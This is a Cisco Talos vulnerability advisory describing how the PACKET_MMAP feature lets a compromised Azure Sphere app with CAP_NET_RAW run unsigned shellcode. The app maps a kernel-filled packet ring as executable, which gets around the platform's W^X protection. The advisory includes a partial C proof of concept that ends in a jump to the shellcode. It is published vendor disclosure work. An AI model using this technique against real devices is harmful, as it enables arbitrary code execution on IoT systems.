Talos Vulnerability Report

TALOS-2020-1134

Microsoft Azure Sphere Normal World application PACKET_MMAP unsigned code execution vulnerability

SEPTEMBER 23, 2020

CVE NUMBER

None

SUMMARY

A code execution vulnerability exists in the normal world's signed code execution functionality of Microsoft Azure Sphere 20.07. A specially crafted AF_PACKET socket can cause a process to create an executable memory mapping with controllable content. An attacker can execute a shellcode that uses the PACKET_MMAP functionality to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Microsoft Azure Sphere 20.07

PRODUCT URLS

Azure Sphere - https://azure.microsoft.com/en-us/services/azure-sphere/

CVSSV3 SCORE

5.5 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

CWE

CWE-284 - Improper Access Control

DETAILS

Microsoft's Azure Sphere is a platform for the development of internet-of-things applications. It features a custom SoC that consists of a set of cores that run both high-level and real-time applications, enforces security and manages encryption (among other functions). The high-level applications execute on a custom Linux-based OS, with several modifications to make it smaller and more secure, specifically for IoT applications.

For the purposes of this writeup, we focus upon the Azure Sphere Normal World's innate memory protection: memory that has ever been marked as writable cannot be marked as executable, likewise memory that has been marked executable cannot be marked as writable. This is also discussed in one of Azure Sphere's presentations.
To illustrate:

```
[o.o]> call (int *)malloc(0x1000)
$3 = (int *) 0xbeeff010

[~.~]> !addr $3
0xbeeff010('$3') => 0xbeeff000 0xbef03000 0x4000 0x0 rw-p [heap]

[o.o]> call (int)mprotect($3, 0x1000, 0x5)
$13 = -1
```

Likewise, if we do something similar with `mmap` and `mprotect`, the same situation occurs:

```
unsigned char *addr = mmap(0x0, 0x1000,
              PROT_WRITE,
              MAP_ANONYMOUS | MAP_PRIVATE, -1,0);
Log_Debug("[^_^] mmap(WRITE) addr => 0x%lx\n",addr);

ret = mprotect(addr,0x1000,PROT_EXEC|PROT_READ);
Log_Debug("[?.?] mprotect(PROT_EXEC|PROT_READ); %d\n",ret);

ret = mprotect(addr,0x1000,PROT_READ);
Log_Debug("[?.?] mprotect(PROT_READ): %d\n",ret);
```

We are left with the following output:

```
[^_^] mmap(WRITE) addr => 0xbeefc000
[?.?] mprotect(PROT_EXEC|PROT_READ); -1
[?.?] mprotect(PROT_READ): 0
```

This is a feature included into the Azure Sphere Linux kernel, so regardless of the method of mapping, the results end up the same. Thus, being able to write to and then execute memory inside a given process is actually a non-trivial endevour.
It's also worth noting that one cannot write to flash memory in order to store shellcode, due to the only flash memory available (`/mnt/config`) being heavily restricted. We also cannot write to the application's filesystem that gets mounted in order to run, since the `asxipfs` filesystem (a fork of cramfs) is strictly read-only.

A quick note: for the purposes of the Azure Sphere Security Research Challenge, the attack surface provided is essentially: "A given application has been compromised, what could be done from there?".

The issue we're describing in this advisory concerns the `PACKET_MMAP` kernel feature. This feature allows to mmap `AF_PACKET` sockets, in order to read/write to them in an efficient way.

From the manpage:

In order to create a packet socket, a process must have the CAP_NET_RAW capability in the user namespace that governs its network namespace.

Unprivileged Azure Sphere apps don't have the `CAP_NET_RAW` capability, however the system app `networkd` does. Looking at its `app_manifest.json`:

```
"LinuxCapabilities": [
    "CAP_NET_ADMIN",
    "CAP_NET_RAW",
    "CAP_NET_BIND_SERVICE",
    "CAP_SYS_TIME"
]
```

The `networkd` service does not have the ability to change its code at runtime, however an attacker able to exploit a vulnerability in `networkd` could use the issue described in this advisory to run arbitrary unsigned code.

More details about the usage of `PACKET_MMAP` can be found in `Documentation/networking/packet_mmap.txt` in the kernel source tree.
From the documentation, we can read:

PACKET_MMAP provides a size configurable circular buffer mapped in user space that can be used to either send or receive packets. This way reading packets just needs to wait for them, most of the time there is no need to issue a single system call. Concerning transmission, multiple packets can be sent through one system call to get the highest bandwidth. By using a shared buffer between the kernel and the user also has the benefit of minimizing packet copies.

Again from the documentation, this is how it can be used at high level:

```
[setup]     socket() -------> creation of the capture socket
            setsockopt() ---> allocation of the circular buffer (ring)
                              option: PACKET_RX_RING
            mmap() ---------> mapping of the allocated buffer to the
                              user process

[capture]   poll() ---------> to wait for incoming packets

[shutdown]  close() --------> destruction of the capture socket and
                              deallocation of all associated
                              resources.
```

The important thing to not here, is that the `mmap`'ed memory buffer will be filled by the kernel when using `PACKET_RX_RING`. This means that on the user's process, it's enough to `mmap` a buffer with `PROT_READ|PROT_EXEC` permissions flags, and let the kernel fill the buffer.

Since the kernel writes the packets received from that socket in the `mmap`'ed buffer, an attacker can easily control its contents by sending a shellcode via network, for example to any UDP port. Since the mapping has `PROT_EXEC`, the attacker then only needs to look for the shellcode (by either parsing the packets structures or via a simple egg hunter) and jump to it.

Exploit Proof of Concept

The following proof-of-concept shows how to run unsigned code inside a compromised app with `CAP_NET_RAW` capability.
While the following code snippet is written in C, in a real situation the code snippets would be the equivalent code in ROP gadgets.

```
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
...
setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
...
map = mmap(NULL, BLOCK_SIZE * NUM_BLOCKS, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);      // no need for PROT_WRITE
...
ll.sll_family = PF_PACKET;
ll.sll_protocol = htons(ETH_P_ALL);
bind(fd, (struct sockaddr *) &ll, sizeof(ll));

... wait for shellcode to be sent to the device (alternatively it can be sent via sendto with equivalent rop gadgets) ...
... find shellcode in the "map" buffer ...

// jump to shellcode
((void(*)(void))(shellcode+1))();
```

TIMELINE

2020-07-30 - Vendor Disclosure
2020-10-06 - Public Release

CREDIT

Discovered by Claudio Bozzato, Lilith >_> and Dave McDaniel of Cisco Talos.